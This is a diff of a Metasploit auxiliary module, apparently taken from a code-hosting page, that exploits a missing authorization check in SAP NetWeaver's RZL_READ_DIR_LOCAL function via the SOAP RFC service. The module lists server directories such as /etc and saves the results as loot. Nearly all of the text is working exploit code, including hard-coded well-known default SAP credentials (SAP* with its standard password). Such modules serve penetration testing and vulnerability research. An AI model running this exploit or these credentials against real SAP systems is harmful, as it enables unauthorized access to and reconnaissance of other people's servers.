@@ -31,23 +31,43 @@ class Metasploit4 < Msf::Auxiliary
31
31
32
32
def initialize
33
33
super (
34
- 'Name' => 'RZL_READ_DIR_LOCAL (directory listing and SMB relay) ' ,
34
+ 'Name' => 'SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing ' ,
35
35
'Description' => %q{
36
- This module exploits the SAP NetWeaver RZL_READ_DIR_LOCAL Missing Authorization Check And SMB Relay Vulnerability.
37
- SAP Note 1595074 / DSECRG-12-026.
38
- RZL_READ_DIR_LOCAL returns the file names in a given directory. It returns only the first 32 characters of a filename (truncated).
39
- } ,
40
- 'References' => [ [ 'URL' , 'http://erpscan.com/advisories/dsecrg-12-026-sap-netweaver-rzl_read_dir_local-missing-authorization-check-and-smb-relay-vulnerability/' ] ] ,
41
- 'Author' => [ 'nmonkee' ] ,
36
+ This module exploits the SAP NetWeaver RZL_READ_DIR_LOCAL function, on the SAP
37
+ SOAP RFC Service, to enumerate directory contents. It returns only the first 32
38
+ characters of the filename since they are truncated.
39
+ } ,
40
+ 'References' => [
41
+ [ 'OSVDB' , '92732' ] ,
42
+ [ 'URL' , 'http://erpscan.com/advisories/dsecrg-12-026-sap-netweaver-rzl_read_dir_local-missing-authorization-check-and-smb-relay-vulnerability/' ]
43
+ ] ,
44
+ 'Author' =>
45
+ [
46
+ 'Alexey Tyurin' , # Vulnerability discovery
47
+ 'nmonkee' # Metasploit module
48
+ ] ,
42
49
'License' => MSF_LICENSE
43
- )
50
+ )
44
51
45
52
register_options ( [
46
- OptString . new ( 'CLIENT' , [ true , 'SAP client' , nil ] ) ,
47
- OptString . new ( 'USER' , [ true , 'Username' , nil ] ) ,
48
- OptString . new ( 'PASS' , [ true , 'Password' , nil ] ) ,
49
- OptString . new ( 'PATH' , [ true , 'File path (e.g. \\xx.xx.xx.xx\share)' , 'c:\\' ] )
50
- ] , self . class )
53
+ OptString . new ( 'CLIENT' , [ true , 'SAP Client' , '001' ] ) ,
54
+ OptString . new ( 'USERNAME' , [ true , 'Username' , 'SAP*' ] ) ,
55
+ OptString . new ( 'PASSWORD' , [ true , 'Password' , '06071992' ] ) ,
56
+ OptString . new ( 'DIR' , [ true , 'Directory path (e.g. /etc)' , '/etc' ] )
57
+ ] , self . class )
58
+ end
59
+
60
+ def parse_xml ( xml_data )
61
+ files = [ ]
62
+ xml_doc = Nokogiri ::XML ( xml_data )
63
+ xml_doc . css ( 'item' ) . each { |item |
64
+ name = item . css ( 'NAME' )
65
+ size = item . css ( 'SIZE' )
66
+ if not name . empty? and not size . empty?
67
+ files << { "name" => name . text , "size" => size . text }
68
+ end
69
+ }
70
+ return files
51
71
end
52
72
53
73
def run_host ( ip )
@@ -64,32 +84,39 @@ def run_host(ip)
64
84
data << '<SIZE></SIZE>'
65
85
data << '</item>'
66
86
data << '</FILE_TBL>'
67
- data << '<NAME>' + datastore [ 'PATH ' ] + '</NAME>'
87
+ data << '<NAME>' + datastore [ 'DIR ' ] + '</NAME>'
68
88
data << '</RZL_READ_DIR_LOCAL>'
69
89
data << '</SOAP-ENV:Body>'
70
90
data << '</SOAP-ENV:Envelope>'
71
- user_pass = Rex :: Text . encode_base64 ( datastore [ 'USER' ] + ":" + datastore [ 'PASS' ] )
91
+
72
92
begin
73
- print_status ( "[SAP] #{ ip } :#{ rport } - sending request for #{ datastore [ 'PATH ' ] } ")
74
- res = send_request_raw ( {
75
- 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore [ 'CLIENT' ] + '&sap-language=EN ',
93
+ vprint_status ( " #{ rhost } :#{ rport } - Sending request to enumerate #{ datastore [ 'DIR ' ] } ")
94
+ res = send_request_cgi ( {
95
+ 'uri' => '/sap/bc/soap/rfc' ,
76
96
'method' => 'POST' ,
77
97
'data' => data ,
78
- 'headers' => {
79
- 'Content-Length' => data . size . to_s ,
98
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
99
+ 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
100
+ 'ctype' => 'text/xml; charset=UTF-8' ,
101
+ 'headers' => {
80
102
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' ,
81
- 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
82
- 'Authorization' => 'Basic ' + user_pass ,
83
- 'Content-Type' => 'text/xml; charset=UTF-8' , }
84
- } , 45 )
85
- if res
86
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error code: " + res . code . to_s )
87
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error title: " + res . message . to_s )
88
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error message: " + res . body . to_s )
89
- end
90
- rescue ::Rex ::ConnectionError
91
- print_error ( "#{ rhost } :#{ rport } - Unable to connect" )
92
- return
103
+ } ,
104
+ 'vars_get' => {
105
+ 'sap-client' => datastore [ 'CLIENT' ] ,
106
+ 'sap-language' => 'EN'
107
+ }
108
+ } )
109
+ if res and res . code == 200 and res . body =~ /rfc:RZL_READ_DIR_LOCAL.Response/
110
+ files = parse_xml ( res . body )
111
+ path = store_loot ( "sap.soap.rfc.dir" , "text/xml" , rhost , res . body , datastore [ 'DIR' ] )
112
+ print_good ( "#{ rhost } :#{ rport } - #{ datastore [ 'DIR' ] } successfully enumerated, results stored on #{ path } " )
113
+ files . each { |f |
114
+ vprint_line ( "Entry: #{ f [ "name" ] } , Size: #{ f [ "size" ] . to_i } " )
115
+ }
93
116
end
117
+ rescue ::Rex ::ConnectionError
118
+ vprint_error ( "#{ rhost } :#{ rport } - Unable to connect" )
119
+ return
94
120
end
95
121
end
122
+ end
0 commit comments